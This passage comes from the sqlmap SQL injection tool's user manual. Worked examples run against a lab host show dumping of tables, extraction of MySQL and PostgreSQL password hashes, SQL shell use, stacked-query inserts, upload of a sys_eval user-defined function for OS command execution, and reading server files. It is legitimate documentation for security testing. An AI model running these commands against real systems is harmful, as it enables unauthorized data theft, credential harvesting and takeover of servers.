[hh:mm:41] [INFO] retrieved: surname
[hh:mm:41] [INFO] fetching entries for table 'users' on database 'testdb'
[hh:mm:41] [INFO] fetching number of entries for table 'users' on database 'testdb'
[hh:mm:41] [INFO] retrieved: 4
[hh:mm:41] [INFO] retrieved: 1
[hh:mm:42] [INFO] retrieved: luther
[hh:mm:42] [INFO] retrieved: blissett
[hh:mm:42] [INFO] retrieved: 2
[hh:mm:42] [INFO] retrieved: fluffy
[hh:mm:42] [INFO] retrieved: bunny
[hh:mm:42] [INFO] retrieved: 3
[hh:mm:42] [INFO] retrieved: wu
[hh:mm:42] [INFO] retrieved: ming
[hh:mm:43] [INFO] retrieved: 4
[hh:mm:43] [INFO] retrieved:
[hh:mm:43] [INFO] retrieved: nameisnull
Database: testdb
Table: users
[4 entries]
+----+--------+------------+
| id | name | surname |
+----+--------+------------+
| 1 | luther | blissett |
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | NULL | nameisnull |
+----+--------+------------+
You can also provide the -C option to specify the table column
that you want to enumerate the entries.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --dump \
-T users -D master -C surname -v 0
Database: master
Table: users
[5 entries]
+-------------------+
| surname |
+-------------------+
| blisset |
| bunny |
| ming |
| nameisnull |
| user agent header |
+-------------------+
If only the column name is specified, sqlmap will enumerate and ask the user to dump all databases' tables containing user provided column(s). This feature can be useful to identify, for instance, tables containing custom application credentials.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1 --dump \
-C "urna"
[...]
back-end DBMS: MySQL >= 5.0.0
do you want sqlmap to consider provided column(s):
[1] as LIKE column names (default)
[2] as exact column names
> 1
[hh:mm:08] [INFO] fetching databases with tables containing columns like 'urna'
[hh:mm:08] [INFO] fetching number of databases with tables containing columns like
'urna'
[hh:mm:08] [INFO] retrieved: 1
[hh:mm:08] [INFO] retrieved: testdb
[hh:mm:10] [INFO] fetching tables containing columns like 'urna' in database 'testdb'
[hh:mm:10] [INFO] fetching number of tables containing columns like 'urna' in
database 'testdb'
[hh:mm:10] [INFO] retrieved: 1
[hh:mm:10] [INFO] retrieved: users
[hh:mm:10] [INFO] fetching columns like 'urna' for table 'users' on database 'testdb'
[hh:mm:10] [INFO] fetching number of columns for table 'users' on database 'testdb'
[hh:mm:10] [INFO] retrieved: 1
[hh:mm:10] [INFO] retrieved: surname
Columns like 'urna' were found in the following databases:
Database: testdb
Table: users
[1 column]
+---------+
| Column |
+---------+
| surname |
+---------+
do you want to dump entries? [Y/n] y
which database(s)?
[a]ll (default)
[testdb]
[q]uit
>
which table(s) of database 'testdb'?
[a]ll (default)
[users]
[s]kip
[q]uit
>
[hh:mm:23] [INFO] fetching columns 'surname' entries for table 'users' on
database 'testdb'
[hh:mm:23] [INFO] fetching number of columns 'surname' entries for table
'users' on database 'testdb'
[hh:mm:23] [INFO] retrieved: 4
[hh:mm:23] [INFO] retrieved: blissett
[hh:mm:23] [INFO] retrieved: bunny
[hh:mm:23] [INFO] retrieved: ming
[hh:mm:23] [INFO] retrieved: nameisnull
Database: testdb
Table: users
[4 entries]
+------------+
| surname |
+------------+
| blissett |
| bunny |
| ming |
| nameisnull |
+------------+
sqlmap also stores for each table the dumped entries in a CSV format file. You can see the absolute path where sqlmap stores the dumped tables entries by providing a verbosity level greater than or equal to 1.
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --dump \
-T users -D public -v 1
[...]
Database: public
Table: users
[5 entries]
+----+----------------------------------------------+-------------------+
| id | name | surname |
+----+----------------------------------------------+-------------------+
| 1 | luther | blissett |
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | sqlmap/0.8 (http://sqlmap.sourceforge.net) | user agent header |
| 5 | | nameisnull |
+----+----------------------------------------------+-------------------+
[hh:mm:59] [INFO] Table 'public.users' dumped to CSV file '/home/inquis/sqlmap/output/
172.16.213.131/dump/public/users.csv'
[...]
$ cat ./output/172.16.213.131/dump/public/users.csv
id,name,surname
"1","luther","blissett"
"2","fluffy","bunny"
"3","wu","ming"
"4","sqlmap/0.8 (http://sqlmap.sourceforge.net)","user agent header"
"5","","nameisnull"
You can also provide the --start and/or the --stop
options to limit the dump to a range of entries, while those entries can be further
limited to a range of character positions provided with --first
and/or the --last options:
--start specifies the first entry to enumerate.--stop specifies the last entry to enumerate.Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --dump \
-T users -D testdb --start 2 --stop 4 -v 0
Database: testdb
Table: users
[3 entries]
+----+--------------------------------------------+-------------------+
| id | name | surname |
+----+--------------------------------------------+-------------------+
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | sqlmap/0.8 (http://sqlmap.sourceforge.net) | user agent header |
+----+--------------------------------------------+-------------------+
As you can see, sqlmap is very flexible. You can leave it to automatically enumerate the whole database table up to a range of characters of a single column of a specific table entry.
Options: --dump-all and --exclude-sysdbs
It is possible to dump all databases tables entries at once.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --dump-all -v 0
Database: testdb
Table: users
[5 entries]
+----+--------------------------------------------+-------------------+
| id | name | surname |
+----+--------------------------------------------+-------------------+
| 1 | luther | blissett |
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | sqlmap/0.8 (http://sqlmap.sourceforge.net) | user agent header |
| 5 | NULL | nameisnull |
+----+--------------------------------------------+-------------------+
Database: information_schema
Table: CHARACTER_SETS
[36 entries]
+--------------------+----------------------+-----------------------------+--------+
| CHARACTER_SET_NAME | DEFAULT_COLLATE_NAME | DESCRIPTION | MAXLEN |
+--------------------+----------------------+-----------------------------+--------+
| tis620 | tis620_thai_ci | TIS620 Thai | 1 |
| macroman | macroman_general_ci | Mac West European | 1 |
| dec8 | dec8_swedish_ci | DEC West European | 1 |
| ujis | ujis_japanese_ci | EUC-JP Japanese | 3 |
| eucjpms | eucjpms_japanese_ci | UJIS for Windows Japanese | 3 |
| armscii8 | armscii8_general_ci | ARMSCII-8 Armenian | 1 |
| ucs2 | ucs2_general_ci | UCS-2 Unicode | 2 |
| hp8 | hp8_english_ci | HP West European | 1 |
| latin2 | latin2_general_ci | ISO 8859-2 Central European | 1 |
| koi8u | koi8u_general_ci | KOI8-U Ukrainian | 1 |
| keybcs2 | keybcs2_general_ci | DOS Kamenicky Czech-Slovak | 1 |
| ascii | ascii_general_ci | US ASCII | 1 |
| cp866 | cp866_general_ci | DOS Russian | 1 |
| cp1256 | cp1256_general_ci | Windows Arabic | 1 |
| macce | macce_general_ci | Mac Central European | 1 |
| sjis | sjis_japanese_ci | Shift-JIS Japanese | 2 |
| geostd8 | geostd8_general_ci | GEOSTD8 Georgian | 1 |
| cp1257 | cp1257_general_ci | Windows Baltic | 1 |
| cp852 | cp852_general_ci | DOS Central European | 1 |
| euckr | euckr_korean_ci | EUC-KR Korean | 2 |
| cp1250 | cp1250_general_ci | Windows Central European | 1 |
| cp1251 | cp1251_general_ci | Windows Cyrillic | 1 |
| binary | binary | Binary pseudo charset | 1 |
| big5 | big5_chinese_ci | Big5 Traditional Chinese | 2 |
| gb2312 | gb2312_chinese_ci | GB2312 Simplified Chinese | 2 |
| hebrew | hebrew_general_ci | ISO 8859-8 Hebrew | 1 |
| koi8r | koi8r_general_ci | KOI8-R Relcom Russian | 1 |
| greek | greek_general_ci | ISO 8859-7 Greek | 1 |
| cp850 | cp850_general_ci | DOS West European | 1 |
| utf8 | utf8_general_ci | UTF-8 Unicode | 3 |
| latin1 | latin1_swedish_ci | cp1252 West European | 1 |
| latin7 | latin7_general_ci | ISO 8859-13 Baltic | 1 |
| cp932 | cp932_japanese_ci | SJIS for Windows Japanese | 2 |
| latin5 | latin5_turkish_ci | ISO 8859-9 Turkish | 1 |
| swe7 | swe7_swedish_ci | 7bit Swedish | 1 |
| gbk | gbk_chinese_ci | GBK Simplified Chinese | 2 |
+--------------------+----------------------+-----------------------------+--------+
[...]
You can also provide the --exclude-sysdbs option to exclude all
system databases. In that case sqlmap will only dump entries of users' databases
tables.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --dump-all \
--exclude-sysdbs -v 0
Database: master
Table: spt_datatype_info_ext
[10 entries]
+----------------+-----------------+-----------+-----------+
| AUTO_INCREMENT | CREATE_PARAMS | typename | user_type |
+----------------+-----------------+-----------+-----------+
| 0 | length | char | 175 |
| 0 | precision,scale | numeric | 108 |
| 0 | max length | varbinary | 165 |
| 0 | precision,scale | decimal | 106 |
| 1 | precision | numeric | 108 |
| 0 | length | nchar | 239 |
| 0 | max length | nvarchar | 231 |
| 0 | length | binary | 173 |
| 0 | max length | varchar | 167 |
| 1 | precision | decimal | 106 |
+----------------+-----------------+-----------+-----------+
[...]
Database: master
Table: users
[5 entries]
+----+----------------------------------------------+-------------------+
| id | name | surname |
+----+----------------------------------------------+-------------------+
| 4 | sqlmap/0.8 (http://sqlmap.sourceforge.net) | user agent header |
| 2 | fluffy | bunny |
| 1 | luther | blisset |
| 3 | wu | ming |
| 5 | NULL | nameisnull |
+----+----------------------------------------------+-------------------+
[...]
Note that on Microsoft SQL Server the master database is not
considered a system database because some database administrators use it
as a users' database.
Options: --sql-query and --sql-shell
The SQL query and the SQL shell features makes the user able to execute custom SQL statements on the web application's back-end database management. sqlmap automatically dissects the provided statement, determines which technique to use to inject it and how to pack the SQL payload accordingly.
If it is a SELECT statement, sqlmap will retrieve its output
through the blind SQL injection or UNION query SQL injection technique
depending on the user's options. Otherwise it will execute the query
through the stacked query SQL injection technique if the web application
supports multiple statements on the back-end database management system.
Examples on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
"SELECT 'foo'" -v 1
[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo': 'foo'
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
"SELECT 'foo', 'bar'" -v 2
[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into
distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar': 'foo, bar'
As you can see from the last example, sqlmap splits provided query into two
different SELECT statements for it to be able to retrieve the
output even in case when using the blind SQL injection technique.
Otherwise, in UNION query SQL injection technique it only performs a single
HTTP request to get the user's query output:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
"SELECT 'foo', 'bar'" -v 2 --union-use
[...]
[hh:mm:03] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:03] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing
technique
[hh:mm:03] [INFO] the target url could be affected by an inband sql injection vulnerability
[hh:mm:03] [INFO] confirming full inband sql injection on parameter 'id'
[hh:mm:03] [INFO] the target url is affected by an exploitable full inband sql injection
vulnerability
[hh:mm:03] [DEBUG] query: UNION ALL SELECT NULL, (CHAR(77)+CHAR(68)+CHAR(75)+CHAR(104)+
CHAR(70)+CHAR(67))+ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), (CHAR(32)))
+(CHAR(105)+CHAR(65)+CHAR(119)+CHAR(105)+CHAR(108)+CHAR(108))+ISNULL(CAST((CHAR(98)+CHAR(97)+
CHAR(114)) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(66)+CHAR(78)+CHAR(104)+CHAR(75)+CHAR(114)+
CHAR(116)), NULL-- AND 8373=8373
[hh:mm:03] [DEBUG] performed 3 queries in 0 seconds
SELECT 'foo', 'bar' [1]:
[*] foo, bar
If your SELECT statement contains a FROM clause, sqlmap
asks the user if such statement can return multiple entries. In that
case the tool knows how to unpack the query correctly to retrieve its
whole output, entry per entry, when going through blind SQL injection
technique. In provided example, UNION query SQL injection it retrieved
the whole output in a single response.
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --sql-query \
"SELECT usename FROM pg_user" -v 0
[hh:mm:32] [INPUT] can the SQL query provided return multiple entries? [Y/n] y
[hh:mm:37] [INPUT] the SQL query provided can return up to 3 entries. How many entries
do you want to retrieve?
[a] All (default)
[#] Specific number
[q] Quit
Choice: 2
SELECT usename FROM pg_user [2]:
[*] postgres
[*] testuser
As you can see from the last example, sqlmap counts the number of entries
for a given query and asks for number of entries to dump.
Otherwise, if the LIMIT is also specified, or similar clause,
sqlmap will not ask for anything. It will just unpack the query and return its
output, entry per entry, when going through blind SQL injection technique.
In a given example, sqlmap used UNION query SQL injection to retrieve the
whole output in a single response.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --sql-query \
"SELECT host, password FROM mysql.user LIMIT 1, 3" -v 2
[...]
back-end DBMS: MySQL >= 5.0.0
[hh:mm:22] [INFO] fetching SQL SELECT statement query output: 'SELECT host, password FROM
mysql.user LIMIT 1, 3'
[hh:mm:22] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it
into distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:22] [DEBUG] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM
mysql.user LIMIT 1, 1
[hh:mm:22] [INFO] retrieved: localhost
[hh:mm:22] [DEBUG] performed 69 queries in 0 seconds
[hh:mm:22] [DEBUG] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM
mysql.user LIMIT 1, 1
[hh:mm:22] [INFO] retrieved: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
[hh:mm:24] [DEBUG] performed 293 queries in 2 seconds
[hh:mm:24] [DEBUG] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM
mysql.user LIMIT 2, 1
[hh:mm:24] [INFO] retrieved: localhost
[hh:mm:25] [DEBUG] performed 69 queries in 0 seconds
[hh:mm:25] [DEBUG] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM
mysql.user LIMIT 2, 1
[hh:mm:25] [INFO] retrieved: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
[hh:mm:27] [DEBUG] performed 293 queries in 2 seconds
[hh:mm:27] [DEBUG] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM
mysql.user LIMIT 3, 1
[hh:mm:27] [INFO] retrieved: localhost
[hh:mm:28] [DEBUG] performed 69 queries in 0 seconds
[hh:mm:28] [DEBUG] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32))
FROM mysql.user LIMIT 3, 1
[hh:mm:28] [INFO] retrieved:
[hh:mm:28] [DEBUG] performed 6 queries in 0 seconds
SELECT host, password FROM mysql.user LIMIT 1, 3 [3]:
[*] localhost, *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
[*] localhost, *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
[*] localhost,
The SQL shell option gives you an access to run your own SQL statement interactively, like a SQL console connected to the back-end database management system. Note that this feature provides TAB completion and history support.
Example of history support on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 0
sql> SELECT 'foo'
SELECT 'foo': 'foo'
sql> [UP arrow key shows the just run SQL SELECT statement, DOWN arrow key cleans the shell]
sql> SELECT version()
SELECT version(): 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real
(Ubuntu 4.3.2-1ubuntu11) 4.3.2'
sql> exit
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 0
sql> [UP arrow key shows 'exit', then DOWN arrow key clean the shell]
sql> SELECT usename, passwd FROM pg_shadow ORDER BY usename
[hh:mm:45] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y
[hh:mm:46] [INPUT] the SQL query that you provide can return up to 3 entries. How many entries
do you want to retrieve?
[a] All (default)
[#] Specific number
[q] Quit
Choice: 2
SELECT usename, passwd FROM pg_shadow ORDER BY usename [3]:
[*] postgres, md5d7d880f96044b72d0bba108ace96d1e4
[*] testuser, md599e5ea7a6f7c3269995cba3927fd0093
Example of TAB completion on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --sql-shell -v 0
sql> [TAB TAB]
LIMIT
(SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1))
LIMIT 0, 1)='Y'
AND ORD(MID((%s), %d, 1)) > %d
CAST(%s AS CHAR(10000))
COUNT(%s)
CURRENT_USER()
DATABASE()
IFNULL(%s, ' ')
LENGTH(%s)
LIMIT %d, %d
MID((%s), %d, %d)
ORDER BY %s ASC
SELECT %s FROM %s.%s
SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)
SELECT column_name, column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND
table_schema='%s'
SELECT grantee FROM information_schema.USER_PRIVILEGES
SELECT grantee, privilege_type FROM information_schema.USER_PRIVILEGES
SELECT schema_name FROM information_schema.SCHEMATA
SELECT table_schema, table_name FROM information_schema.TABLES
SELECT user, password FROM mysql.user
SLEEP(%d)
VERSION()
\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)
sql> SE[TAB]
sql> SELECT
As you can see the TAB functionality shows the queries defined for the
back-end database management system in sqlmap XML queries file, but you
can run whatever SELECT statement you want.
Example of asterisk expansion on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --sql-shell \
-v 2
[...]
[hh:mm:40] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql> SELECT * FROM test.users
[hh:mm:48] [INFO] fetching SQL SELECT query output: 'SELECT * FROM test.users'
[hh:mm:48] [INFO] you did not provide the fields in your query. sqlmap will retrieve the
column names itself.
[hh:mm:48] [INFO] fetching columns for table 'users' on database 'test'
[hh:mm:48] [INFO] fetching number of columns for table 'users' on database 'test'
[hh:mm:48] [DEBUG] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32))
FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
table_schema=CHAR(116,101,115,116)
[hh:mm:48] [INFO] retrieved: 3
[hh:mm:48] [DEBUG] performed 13 queries in 0 seconds
[hh:mm:48] [DEBUG] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM
information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
table_schema=CHAR(116,101,115,116) LIMIT 0, 1
[hh:mm:48] [INFO] retrieved: id
[hh:mm:48] [DEBUG] performed 20 queries in 0 seconds
[hh:mm:48] [DEBUG] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM
information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
table_schema=CHAR(116,101,115,116) LIMIT 1, 1
[hh:mm:48] [INFO] retrieved: name
[hh:mm:48] [DEBUG] performed 34 queries in 0 seconds
[hh:mm:48] [DEBUG] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM
information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
table_schema=CHAR(116,101,115,116) LIMIT 2, 1
[hh:mm:48] [INFO] retrieved: surname
[hh:mm:48] [DEBUG] performed 55 queries in 0 seconds
[hh:mm:48] [INFO] the query with column names is: SELECT id, name, surname FROM test.users
[hh:mm:48] [INPUT] can the SQL query provided return multiple entries? [Y/n] y
[hh:mm:04] [DEBUG] query: SELECT IFNULL(CAST(COUNT(id) AS CHAR(10000)), CHAR(32)) FROM
test.users
[hh:mm:04] [INFO] retrieved: 5
[hh:mm:04] [DEBUG] performed 13 queries in 0 seconds
[hh:mm:04] [INPUT] the SQL query that you provide can return up to 5 entries. How many
entries
do you want to retrieve?
[a] All (default)
[#] Specific number
[q] Quit
Choice: 3
[hh:mm:09] [INFO] sqlmap is now going to retrieve the first 3 query output entries
[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users
ORDER BY id ASC LIMIT 0, 1
[hh:mm:09] [INFO] retrieved: 1
[hh:mm:09] [DEBUG] performed 13 queries in 0 seconds
[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users
ORDER BY id ASC LIMIT 0, 1
[hh:mm:09] [INFO] retrieved: luther
[hh:mm:09] [DEBUG] performed 48 queries in 0 seconds
[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM
test.users ORDER BY id ASC LIMIT 0, 1
[hh:mm:09] [INFO] retrieved: blissett
[hh:mm:09] [DEBUG] performed 62 queries in 0 seconds
[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users
ORDER BY id ASC LIMIT 1, 1
[hh:mm:09] [INFO] retrieved: 2
[hh:mm:09] [DEBUG] performed 13 queries in 0 seconds
[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users
ORDER BY id ASC LIMIT 1, 1
[hh:mm:09] [INFO] retrieved: fluffy
[hh:mm:09] [DEBUG] performed 48 queries in 0 seconds
[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM
test.users ORDER BY id ASC LIMIT 1, 1
[hh:mm:09] [INFO] retrieved: bunny
[hh:mm:09] [DEBUG] performed 41 queries in 0 seconds
[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users
ORDER BY id ASC LIMIT 2, 1
[hh:mm:09] [INFO] retrieved: 3
[hh:mm:09] [DEBUG] performed 13 queries in 0 seconds
[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users
ORDER BY id ASC LIMIT 2, 1
[hh:mm:09] [INFO] retrieved: wu
[hh:mm:09] [DEBUG] performed 20 queries in 0 seconds
[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM
test.users ORDER BY id ASC LIMIT 2, 1
[hh:mm:09] [INFO] retrieved: ming
[hh:mm:10] [DEBUG] performed 34 queries in 0 seconds
SELECT * FROM test.users [3]:
[*] 1, luther, blissett
[*] 2, fluffy, bunny
[*] 3, wu, ming
As you can see from the example, if the SELECT statement has
an asterisk instead of the column(s) name, sqlmap first retrieves all
column names of the current table, asks if the query can return multiple
entries and goes on.
Example of SQL statement other than SELECT on a PostgreSQL
8.3.5 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 1
[...]
back-end DBMS: PostgreSQL
[10:hh:mm] [INFO] calling PostgreSQL shell. To quit type 'x' or 'q' and press ENTER
sql> SELECT COUNT(name) FROM users
[hh:mm:57] [INFO] fetching SQL SELECT statement query output: 'SELECT COUNT(name) FROM users'
[hh:mm:57] [INPUT] can the SQL query provided return multiple entries? [Y/n] n
[hh:mm:59] [INFO] retrieved: 4
SELECT COUNT(name) FROM users: '4'
sql> INSERT INTO users (id, name, surname) VALUES (5, 'from', 'sql shell');
[hh:mm:35] [INFO] testing stacked queries support on parameter 'id'
[hh:mm:40] [INFO] the web application supports stacked queries on parameter 'id'
[hh:mm:40] [INFO] executing SQL data manipulation query: 'INSERT INTO users
(id, name, surname) VALUES (5, 'from', 'sql shell');'
[hh:mm:40] [INFO] done
sql> SELECT COUNT(name) FROM users
[hh:mm:51] [INFO] fetching SQL SELECT statement query output: 'SELECT COUNT(name) FROM users'
[hh:mm:51] [INPUT] can the SQL query provided return multiple entries? [Y/n] n
[hh:mm:53] [INFO] retrieved: 5
SELECT COUNT(name) FROM users: '5'
As you can see from the example, when the user provides a SQL statement
other than SELECT, sqlmap recognizes it, tests if the web
application supports stacked queries and in case it does, it executes
the provided SQL statement in a multiple statement mode.
Beware that some web application technologies do not support stacked queries on specific database management systems. For instance, PHP does not support stacked queries when the back-end DBMS is MySQL, but it does support when the back-end DBMS is PostgreSQL.
Options: --udf-inject and --shared-lib
You can inject your own user-defined functions (UDFs) by compiling a MySQL or PostgreSQL shared library, DLL for Windows and shared object for Linux/Unix, then provide sqlmap with the path where the shared library is stored locally on your machine. sqlmap will then ask you some questions, upload the shared library on the database server file system, create the user-defined function(s) from it and, depending on your options, execute them. When you are finished using the injected UDFs, sqlmap can also remove them from the database for you.
Example on a PostgreSQL 8.4:
$ python sqlmap.py -u http://172.16.213.131/sqlmap/pgsql/get_int8.4.php?id=1 --udf-inject -v 0
[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
which is the local path of the shared library? udf/postgresql/linux/8.4/lib_postgresqludf_sys.so
how many user-defined functions do you want to create from the shared library? 1
what is the name of the UDF number 1? sys_eval
how many input parameters takes UDF 'sys_eval'? (default: 1)
what is the data-type of input parameter number 1? (default: text)
what is the data-type of the return value? (default: text)
do you want to call your injected user-defined functions now? [Y/n/q] y
which UDF do you want to call?
[1] sys_eval
[q] Quit
> 1
what is the value of the parameter number 1 (data-type: text)? echo test
do you want to retrieve the return value of the UDF? [Y/n]
return value: 'test'
do you want to call this or another injected UDF? [Y/n] n
do you want to remove UDF 'sys_eval'? [Y/n]
[12:00:10] [WARNING] remember that UDF shared object files saved on the file system can only
be deleted manually
If you want, you can specify the shared library local file system path
via command line using --shared-lib option.
Option: --read-file
It is possible to retrieve the content of files from the underlying file system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. The file specified can be either a text or a binary file. sqlmap will handle it automatically.
These techniques are detailed in the white paper Advanced SQL injection to operating system full control.
Example on a PostgreSQL 8.3.5 target to retrieve a text file:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.aspx?id=1" \
--read-file "C:\example.txt" -v 2
[...]
[hh:mm:53] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: PostgreSQL
[hh:mm:53] [INFO] testing stacked queries support on parameter 'id'
[hh:mm:53] [INFO] detecting back-end DBMS version from its banner
[hh:mm:53] [DEBUG] query: COALESCE(CAST(SUBSTR((VERSION())::text, 12, 6) AS CHARACTER(10000)),
CHR(32))
[hh:mm:53] [INFO] retrieved: 8.3.5,
[hh:mm:58] [DEBUG] performed 49 queries in 4 seconds
[hh:mm:58] [DEBUG] query: SELECT PG_SLEEP(5)
[hh:mm:03] [INFO] the web application supports stacked queries on parameter 'id'
[hh:mm:03] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:03] [DEBUG] query: DROP TABLE sqlmapfile
[hh:mm:03] [DEBUG] query: CREATE TABLE sqlmapfile(data character(500))
[hh:mm:03] [DEBUG] query: INSERT INTO sqlmapfile(data) VALUES (VERSION())
[hh:mm:03] [DEBUG] query: SELECT (CASE WHEN ((SELECT LENGTH(data) FROM sqlmapfile WHERE data
LIKE CHR(37)||CHR(32)||CHR(86)||CHR(105)||CHR(115)||CHR(117)||CHR(97)||CHR(108)||CHR(32)||
CHR(67)||CHR(43)||CHR(43)||CHR(37))>0) THEN 1 ELSE 0 END)
[hh:mm:03] [INFO] retrieved: 1
[hh:mm:03] [DEBUG] performed 5 queries in 0 seconds
[hh:mm:03] [INFO] the back-end DBMS operating system is Windows
[hh:mm:03] [DEBUG] cleaning up the database management system
[hh:mm:03] [DEBUG] removing support tables
[hh:mm:04] [DEBUG] query: DROP TABLE sqlmapfile
[hh:mm:04] [DEBUG] going to read the file with stacked query SQL injection technique
[hh:mm:04] [WARNING] binary file read on PostgreSQL is not yet supported, if the requested file
is binary, its content will not be retrieved
[hh:mm:04] [INFO] fetching file: 'C:/example.txt'
[hh:mm:04] [DEBUG] query: DROP TABLE sqlmapfile
[hh:mm:04] [DEBUG] query: CREATE TABLE sqlmapfile(data bytea)
[hh:mm:04] [DEBUG] loading the content of file 'C:/example.txt' into support table
[hh:mm:04] [DEBUG] query: COPY sqlmapfile(data) FROM 'C:/example.txt'
[hh:mm:04] [DEBUG] query: SELECT COALESCE(CAST(COUNT(data) AS CHARACTER(10000)), CHR(32)) FROM
sqlmapfile
[hh:mm:04] [INFO] retrieved: 1
[hh:mm:04] [DEBUG] performed 6 queries in 0 seconds
